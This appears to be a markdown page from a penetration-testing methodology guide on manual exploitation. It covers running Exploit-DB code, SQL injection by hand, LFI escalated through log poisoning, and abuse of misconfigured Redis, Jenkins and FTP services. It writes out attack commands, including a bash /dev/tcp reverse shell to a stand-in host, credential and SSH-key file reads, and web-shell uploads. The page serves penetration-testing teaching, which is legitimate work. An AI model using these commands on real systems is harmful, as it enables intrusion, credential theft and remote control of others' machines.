Skip to content

Latest commit

 

History

History
752 lines (577 loc) · 23.2 KB

File metadata and controls

752 lines (577 loc) · 23.2 KB

Manual Exploitation — The Section That Separates People

Automated tools get you through the door when the door is standard issue. But show up to a set of custom built oversized French double doors, or find out someone swapped the deadbolt for a Medeco biaxial lock — and suddenly the key you brought does not fit anything. You went in expecting one thing and you are standing in front of something completely different, without the right tools, having to think your way through it in real time.

That is the moment automated exploitation fails you. The module does not exist. The version is slightly off. The tool throws an error and you have no idea why. You are standing outside with no plan. Manual exploitation is the plan.

🔰 Beginners: This section explains how to read and run exploit code before you ever modify a single line. Every concept is explained plain English first. Work through it in order — the real worked examples at the bottom will make complete sense by the time you get there.

Seasoned practitioners: The real worked examples section covers four distinct scenarios worth reviewing. Jump to What to Do When Nothing Works for the systematic debugging framework.


📋 Contents


🧠 Why Manual Exploitation Matters

Plain English first.

Imagine you are learning to drive. An automatic transmission does the gear changing for you — you just steer and use the pedals. You can get from A to B just fine. But if the automatic fails, if you ever need to drive a manual, or if you need to understand why the car is behaving strangely — you have no foundation to work from.

Automated exploitation tools are the automatic transmission. They work great under normal conditions. The moment conditions change — a slightly different software version, a custom configuration, a network filter, an exam restriction — they stop being useful and you need to know what is actually happening underneath.

The three situations where manual exploitation is not optional:

1. No public exploit exists
   → The vulnerability is known but nobody has written a tool for it yet
   → You need to understand the vulnerability class well enough to
     exploit it yourself

2. The public exploit does not work
   → Version mismatch, wrong architecture, wrong configuration
   → You need to read the exploit, understand what it is doing,
     and modify it to fit your target

3. Automated tools are restricted
   → OSCP exam, client rules of engagement, stealth requirements
   → You need to do everything manually with full understanding

🎯 The Manual Exploitation Mindset

Before touching any code, understand this shift in thinking.

Automated tools think in terms of: does this work against this target?

Manual exploitation thinks in terms of: why does this vulnerability exist, what does exploitation look like at the technical level, and what exactly needs to happen for me to trigger it?

The questions you should be able to answer before exploiting anything manually:

→ What is the vulnerability? (buffer overflow, injection, misconfiguration)
→ What component is affected? (specific function, parameter, service)
→ What does successful exploitation look like? (crash, code execution, data leak)
→ What does the exploit need to send? (specific bytes, specific input, specific timing)
→ What do I expect to receive back? (shell, data, error message)
→ How do I know it worked? (what does success look like)

Answering these before you run anything means you understand what you are doing. It also means you can debug when something goes wrong instead of just running the exploit again and hoping.


📖 Reading Exploit Code

Plain English: An exploit is just code. It sends specific data to a specific target in a way that triggers a vulnerability. Reading it tells you exactly what it is doing, what it needs, and how to modify it when it does not work.

Most people skip reading the exploit and go straight to running it. That is fine until it breaks — and then they have no idea why.

What to Look For When Reading an Exploit

1. The target information section:

# Almost every exploit has variables at the top for customization
ip = "127.0.0.1"      # ← change this to your target
port = 9999           # ← change this to the right port

2. The payload or shellcode:

# This is what gets executed on the target
# It is often encoded — look for long strings of \x bytes
shellcode = (
    "\xdb\xc0\xd9\x74\x24\xf4\x58\x2b"
    "\xc9\xb1\x52\x31\x58\x17\x83\xe8"
    # ... more bytes
)

3. The vulnerability trigger:

# This is how the exploit causes the vulnerability to fire
# For a buffer overflow it might be sending too many bytes
payload = "A" * 2606 + eip + nop_sled + shellcode

4. The connection code:

# How it connects to the target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload)

5. Dependencies at the top:

import socket          # networking
import struct          # binary data packing
from pwn import *      # pwntools library

If the exploit imports libraries you do not have, install them before running. Nothing is more frustrating than an exploit failing because of a missing import.

The Five Questions to Answer Before Running Any Exploit

1. What IP and port does it target?
   → Make sure it is pointing at the right place

2. What does it need from you?
   → Your IP for the callback? A specific file? A username?

3. What dependencies does it require?
   → Check all imports and install missing ones

4. What is the payload doing?
   → Is it a reverse shell? Bind shell? Command execution?

5. What does success look like?
   → Does it print output? Open a shell? Require another step?

🔬 Understanding What an Exploit Is Actually Doing

Plain English: Different vulnerability classes require different exploitation approaches. Knowing which class you are dealing with tells you what to expect from the exploit code.

Buffer Overflow Exploits

What is happening: The target application allocates a fixed-size box in memory for input. The exploit sends more data than fits in the box. The extra data spills into adjacent memory, overwriting critical values including the instruction pointer — which controls what code runs next. The exploit puts its own code there instead.

What to look for in the code:

# Padding to fill the buffer up to the overflow point
padding = "A" * 2606

# The EIP overwrite — the memory address that gets control
eip = struct.pack("<I", 0x625011af)

# NOP sled — harmless instructions that slide into the shellcode
nop_sled = "\x90" * 16

# The shellcode — the actual code to execute
shellcode = "\xdb\xc0..."

payload = padding + eip + nop_sled + shellcode

Injection Exploits

What is happening: The target application takes user input and passes it directly to an interpreter — a database, a shell, a template engine — without checking it first. The exploit inserts commands into that input that the interpreter executes.

What to look for in the code:

# SQL injection payload embedded in a parameter
payload = "' OR '1'='1"

# Command injection payload
payload = "; id"
payload = "| whoami"
payload = "&& cat /etc/passwd"

Deserialization Exploits

What is happening: The target application takes serialized data (compressed object data) from user input and converts it back into a live object without checking what is inside. A malicious serialized object can contain code that executes during the deserialization process.

What to look for in the code:

# Usually involves generating a malicious serialized payload
# Tools like ysoserial generate these for Java targets
# The payload is then base64 encoded and sent to the target
import base64
payload = base64.b64encode(serialized_object)

🚀 Running Raw Exploits From Exploit-DB

This is the core manual exploitation workflow. You have found a vulnerability. You have found a public exploit. Now you run it manually without Metasploit.

Step 1 — Find and Download the Exploit

# Find it with SearchSploit
searchsploit vsftpd 2.3.4

# Copy the exploit to your working directory
searchsploit -m unix/remote/49757.py

# Or download directly from Exploit-DB
# Go to exploit-db.com, find the exploit, click Download

Step 2 — Read It Before Running It

# Read the exploit
cat 49757.py

# Or open in a text editor
code 49757.py
nano 49757.py

Never skip this step. You need to know:

  • What variables to change
  • What dependencies it needs
  • What it is going to do

Step 3 — Install Dependencies

# Check what the exploit imports
head -20 exploit.py

# Install missing Python libraries
pip3 install pwntools
pip3 install requests
pip3 install paramiko    # SSH
pip3 install impacket    # Windows/AD exploitation

# For C exploits — compile first
gcc exploit.c -o exploit

Step 4 — Modify for Your Target

# Open the exploit and change the target variables
code exploit.py

# Common things to change:
# IP address of target
# Port number
# Your IP address (for reverse shell callbacks)
# Your listening port

Step 5 — Set Up Your Listener (if needed)

# If the exploit opens a reverse shell, start your listener first
# Basic netcat listener
nc -lvnp 4444

# Rlwrap for a better shell experience
rlwrap nc -lvnp 4444

# Metasploit multi/handler for Meterpreter payloads
msfconsole -q
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST YOUR-IP
set LPORT 4444
run

Step 6 — Run the Exploit

# Python exploit
python3 exploit.py

# With arguments (check the exploit for usage)
python3 exploit.py 10.10.10.3 4444

# C exploit (after compiling)
./exploit 10.10.10.3

# Ruby exploit
ruby exploit.rb

🔧 Common Issues and How to Fix Them

Issue: Wrong Python Version

# Error: SyntaxError or module not found
# Cause: Exploit written for Python 2, you are running Python 3

# Try running with Python 2
python2 exploit.py

# Or check the shebang line at the top of the file
head -1 exploit.py
# #!/usr/bin/python  ← Python 2
# #!/usr/bin/python3 ← Python 3

# Convert Python 2 to Python 3
2to3 exploit.py -w

Issue: Missing Library

# Error: ModuleNotFoundError: No module named 'pwn'
pip3 install pwntools

# Error: No module named 'impacket'
pip3 install impacket

# Error: No module named 'requests'
pip3 install requests

Issue: Connection Refused

# The exploit cannot connect to the target
# Check:
# 1. Is the target IP correct?
# 2. Is the service actually running on that port?
nmap -sV -p TARGET_PORT TARGET_IP

# 3. Is there a firewall blocking the connection?
# Try from different port or protocol

Issue: Exploit Runs But No Shell

# The exploit completes but you get nothing back
# Check:
# 1. Is your listener running BEFORE the exploit?
nc -lvnp 4444    # start this first

# 2. Is your LHOST set to your actual IP, not localhost?
ip addr show     # find your IP on the correct interface
# On HTB/VPN it is usually your tun0 interface
ip addr show tun0

# 3. Is the port in the exploit matching your listener?
# Check the exploit's LPORT variable matches your nc listener port

Issue: Exploit Works But Shell is Unstable

# You get a shell but it dies immediately or behaves strangely
# Upgrade and stabilize the shell immediately
# See the Shells section for the full stabilization workflow

# Quick fix — Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

Issue: Version Mismatch

# The exploit is for version 2.4.49 but target is running 2.4.48
# Options:
# 1. Find an exploit for the exact version
searchsploit apache 2.4.48

# 2. Research what changed between versions
# Read the CVE, read the patch, understand if the older version
# has a similar but different vulnerability

# 3. Look for a different attack vector entirely
# The version-specific exploit may not work
# but the service may have other vulnerabilities

💥 Real Worked Example — Manual Python Exploit

Target: A service running on a custom port with a known buffer overflow vulnerability. No Metasploit module exists.

Scenario: You found a service running on port 9999. SearchSploit returns a Python exploit. The Metasploit module does not exist for this version.

# Step 1 — find the exploit
searchsploit brainpan

# Step 2 — copy it
searchsploit -m windows/remote/36025.py
cp 36025.py exploit.py

# Step 3 — read it
cat exploit.py

# Output shows:
# ip = "192.168.1.1"    ← change this
# port = 9999           ← already correct
# Imports: socket, struct — standard library, no install needed
# Payload: sends a buffer overflow payload

# Step 4 — modify it
code exploit.py
# Change ip to your target: "10.10.10.x"

# Step 5 — set up listener (exploit uses reverse shell)
nc -lvnp 443

# Step 6 — run it
python3 exploit.py

# Result: shell appears in your netcat listener

Practice target: HackTheBox — Brainpan, VulnHub — Brainpan 1


💉 Real Worked Example — Manual SQLi Without SQLmap

Plain English: SQL injection manually means crafting the malicious database commands yourself and sending them through the browser or a tool like curl — no automated tool doing it for you.

Scenario: A login form at http://target.com/login

# Step 1 — test for SQL injection
# Try entering a single quote in the username field
username: '
password: anything

# If the page returns a database error — it is injectable

# Step 2 — confirm injection with a boolean test
username: ' OR '1'='1
password: anything
# If this logs you in — blind boolean SQLi confirmed

# Step 3 — determine number of columns using ORDER BY
username: ' ORDER BY 1-- -
username: ' ORDER BY 2-- -
username: ' ORDER BY 3-- -
# Keep increasing until you get an error
# Error at 3 means there are 2 columns

# Step 4 — find which columns display output using UNION SELECT
username: ' UNION SELECT NULL,NULL-- -
username: ' UNION SELECT 'test1','test2'-- -
# Look for 'test1' or 'test2' appearing on the page

# Step 5 — extract database version
username: ' UNION SELECT @@version,NULL-- -

# Step 6 — extract database names
username: ' UNION SELECT schema_name,NULL FROM information_schema.schemata-- -

# Step 7 — extract table names
username: ' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='target_db'-- -

# Step 8 — extract column names
username: ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

# Step 9 — extract the data
username: ' UNION SELECT username,password FROM users-- -

Using curl for the same attack:

# Test for injection
curl -X POST http://target.com/login \
  -d "username='&password=test"

# Boolean test
curl -X POST http://target.com/login \
  -d "username=' OR '1'='1-- -&password=test"

# Extract version
curl -X POST http://target.com/login \
  -d "username=' UNION SELECT @@version,NULL-- -&password=test"

Practice target: DVWA (SQL Injection module), HackTheBox web challenges


📁 Real Worked Example — Manual LFI to RCE

Plain English: Local File Inclusion (LFI) is a vulnerability where a web application lets you specify a file to load — and does not properly restrict which files you can request. Instead of loading page.php, you trick it into loading /etc/passwd or other sensitive files. Taking LFI further to Remote Code Execution means getting the application to not just read a file — but execute code inside it.

Scenario: A web application with a page parameter: http://target.com/index.php?page=home

# Step 1 — confirm LFI
curl "http://target.com/index.php?page=../../../../etc/passwd"

# If /etc/passwd contents appear in the response — LFI confirmed

# Step 2 — read sensitive files
curl "http://target.com/index.php?page=../../../../etc/shadow"
curl "http://target.com/index.php?page=../../../../var/www/html/config.php"
curl "http://target.com/index.php?page=../../../../home/user/.ssh/id_rsa"

# Step 3 — escalate to RCE via log poisoning
# The idea: write PHP code into a log file, then include that log file

# First — check if you can read the Apache access log
curl "http://target.com/index.php?page=../../../../var/log/apache2/access.log"

# If yes — poison the log by sending PHP code in the User-Agent
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" \
  http://target.com/

# Now include the log file and execute commands
curl "http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id"

# Step 4 — get a reverse shell
# URL encode the reverse shell command
curl "http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/YOUR-IP/4444+0>%261'"

Alternative LFI to RCE — PHP session poisoning:

# Step 1 — find your session cookie
# Login to the application, grab the PHPSESSID from browser cookies

# Step 2 — poison your session with PHP code
curl "http://target.com/index.php?page=home" \
  -H "Cookie: PHPSESSID=yoursessionid" \
  --data "<?php system(\$_GET['cmd']); ?>"

# Step 3 — include your session file
curl "http://target.com/index.php?page=../../../../tmp/sess_yoursessionid&cmd=id"

Practice target: HackTheBox — Lame, Poison, File Inclusion challenges


⚙️ Real Worked Example — Manual RCE via Misconfigured Service

Plain English: Sometimes getting code execution has nothing to do with a classic vulnerability. Misconfigured services — things set up incorrectly by administrators — can hand you code execution without any exploit code at all.

Scenario 1 — Redis with no authentication:

# Redis is an in-memory database often used for caching
# When exposed with no password it can be abused for RCE

# Connect to Redis
redis-cli -h TARGET-IP

# Confirm you are connected
ping
# Response: PONG

# Check current config
config get dir
config get dbfilename

# Write an SSH key to the authorized_keys file
# Step 1 — generate an SSH key pair
ssh-keygen -t rsa -f /tmp/redis_key

# Step 2 — format the key for Redis
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/redis_key.txt

# Step 3 — write it to Redis
cat /tmp/redis_key.txt | redis-cli -h TARGET-IP -x set ssh_key

# Step 4 — configure Redis to write to authorized_keys
redis-cli -h TARGET-IP config set dir /root/.ssh
redis-cli -h TARGET-IP config set dbfilename authorized_keys
redis-cli -h TARGET-IP save

# Step 5 — SSH in with your private key
ssh -i /tmp/redis_key root@TARGET-IP

Scenario 2 — Jenkins with script console access:

# Jenkins is a CI/CD automation server
# The script console executes Groovy code — which can run OS commands

# Navigate to: http://target.com:8080/script
# If accessible without authentication — you have RCE

# In the script console, run:
println "id".execute().text
println "cat /etc/passwd".execute().text

# Get a reverse shell
def cmd = "bash -c {echo,BASE64_ENCODED_REVSHELL}|{base64,-d}|bash"
cmd.execute()

Scenario 3 — Anonymous FTP with write access:

# Step 1 — connect anonymously
ftp TARGET-IP
# Username: anonymous
# Password: (press enter)

# Step 2 — check if you can write
put test.txt

# If write succeeds — check if the FTP root is web accessible
# Navigate to http://target.com/test.txt

# If yes — upload a web shell
put shell.php

# Access it at http://target.com/shell.php?cmd=id

Practice targets:

  • Redis: HackTheBox — Redeemer, Redis challenges
  • Jenkins: HackTheBox — Jeeves
  • Anonymous FTP: HackTheBox — Devel

🔄 What to Do When Nothing Works

Every practitioner hits walls. The exploit does not work. The technique does not apply. The version is slightly off. Here is the systematic approach to working through it.

Step 1 — Verify your information is correct
         Is the version exactly what you think it is?
         Is the service running on the port you think?
         nmap -sV --version-intensity 9 TARGET-IP

Step 2 — Read the exploit more carefully
         What exact conditions does it require?
         What does the README or comments say?
         Is there a specific configuration it needs?

Step 3 — Check for alternative exploits
         searchsploit -www SERVICE VERSION
         Search GitHub: "CVE-XXXX-XXXX exploit"
         Search Google: "CVE-XXXX-XXXX proof of concept"

Step 4 — Try a different vulnerability
         The intended path is not always the obvious one
         Enumerate more — what else is running?
         Are there other services or parameters to test?

Step 5 — Research the vulnerability class
         If the exploit is for a buffer overflow —
         research buffer overflow exploitation technique
         The specific exploit may be wrong but the class is right

Step 6 — Check if you are missing a prerequisite
         Some exploits need authentication first
         Some need a specific file to exist
         Some need a specific configuration enabled
         Read the CVE description carefully for conditions

⚔️ CTF vs Real World

CTF Real Engagement
Exploit source Exploit-DB, GitHub Same, plus custom research
Modification needed Sometimes Almost always
Dependencies Install freely Use approved tools only
Failed attempts Try again Document, assess impact
Noise Not a concern Every failed attempt is logged
Time pressure Yes — CTF clock Yes — engagement window
Documentation Notes for yourself Full report required

🔗 Related References

Resource What It Covers
Exploit Mechanics The theory behind what you are exploiting
Modifying Exploits Changing shellcode, fixing offsets
Writing Exploits Building from scratch
Shells What to do once you have execution
Troubleshooting Systematic debugging
Vuln Research Finding the right exploit

by SudoChef · Part of the SudoCode Pentesting Methodology Guide